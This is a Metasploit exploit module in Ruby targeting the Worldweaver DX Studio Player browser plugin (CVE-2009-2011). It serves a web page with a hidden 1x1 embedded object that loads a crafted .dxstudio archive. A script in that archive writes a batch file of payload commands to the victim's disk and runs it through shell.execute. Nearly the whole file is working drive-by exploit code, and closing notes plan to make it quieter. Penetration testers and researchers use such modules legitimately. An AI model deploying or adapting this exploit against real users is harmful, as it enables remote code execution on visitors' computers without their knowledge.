145 lines
3.6 KiB
Ruby
145 lines
3.6 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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require 'rex/zip'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpServer::HTML
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include Msf::Exploit::CmdStagerVBS
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Worldweaver DX Studio Player <= 3.0.29 shell.execute() Command Execution',
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'Description' => %q{
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This module exploits a command execution vulnerability within the
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DX Studio Player from Worldweaver. The player is a browser plugin for
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IE (ActiveX) and Firefox (dll). When an unsuspecting user visits a web
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page referring to a specially crafted .dxstudio document, an attacker can
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execute arbitrary commands.
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Testing was conducted using plugin version 3.0.29.0 for Firefox 2.0.0.20 and
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IE 6 on Windows XP SP3. In IE, the user will be prompted if they wish to allow
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the plug-in to access local files. This prompt appears to occur only once per
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server host.
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NOTE: This exploit uses additionally dangerous script features to write to
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local files!
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},
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'License' => MSF_LICENSE,
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'Author' => [ 'jduck' ],
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'CVE', '2009-2011' ],
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[ 'BID', '35273' ],
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[ 'OSVDB', '54969' ],
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[ 'EDB', '8922' ],
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[ 'URL', 'http://dxstudio.com/guide.aspx' ]
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],
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'Payload' =>
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{
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'Space' => 2048,
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},
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'Platform' => 'win',
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# 'Arch' => ARCH_CMD,
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'Targets' =>
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[
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[ 'Automatic', { } ],
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],
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'DisclosureDate' => 'Jun 09 2009',
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'DefaultTarget' => 0))
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end
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def on_request_uri(cli, request)
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url_base = "http://"
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url_base += (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
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url_base += ":" + datastore['SRVPORT'].to_s + get_resource()
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payload_url = url_base + "/payload"
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# handle request for the payload
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if (request.uri.match(/payload/))
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# build the payload
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return if ((p = regenerate_payload(cli)) == nil)
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cmds = generate_cmdstager({:linemax => 2047}, p)
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scr = ""
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cmds.each { |ln|
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scr << "f.writeString('"
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scr << ln
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scr << "\\n');\n"
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}
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# make header.xml
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hdrxml = %Q|<?xml version="1.0"?>
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<dxstudio>
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<script><![CDATA[function onInit()
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{
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var f=system.file.openWrite("BATNAME");
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f.writeString('@echo off\\n');
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CMDS
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f.close();
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shell.execute("BATNAME");
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}]]>
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</script>
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</dxstudio>
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hdrxml.gsub!(/CMDS/, scr);
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bat_name = rand_text_alphanumeric(rand(32)) + ".bat"
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hdrxml.gsub!(/BATNAME/, bat_name);
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# craft the zip archive
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zip = Rex::Zip::Archive.new
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zip.add_file("header.xml", hdrxml)
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data = zip.pack
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print_status("Sending file.dxstudio payload")
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send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
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# Handle the payload
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# handler(cli)
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return
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end
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# otherwise, send the html..
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html = %Q|<html>
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<body>
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<div height=100%>
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Please wait...
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</div>
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<object width=1 height=1 classid='clsid:0AC2706C-8623-46F8-9EDD-8F71A897FDAE'>
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<param name="src" value="DXURL" />
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<embed width=1 height=1 src=DXURL type="application/x-dxstudio">
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</embed>
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</object>
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</body>
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</html>
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print_status("Sending #{self.name} HTML")
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# Transmit the compressed response to the client
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html.gsub!(/DXURL/, payload_url)
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send_response(cli, html, { 'Content-Type' => 'text/html' })
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end
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end
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=begin
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TODO:
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- make it more quiet
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- auto-migrate?
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=end
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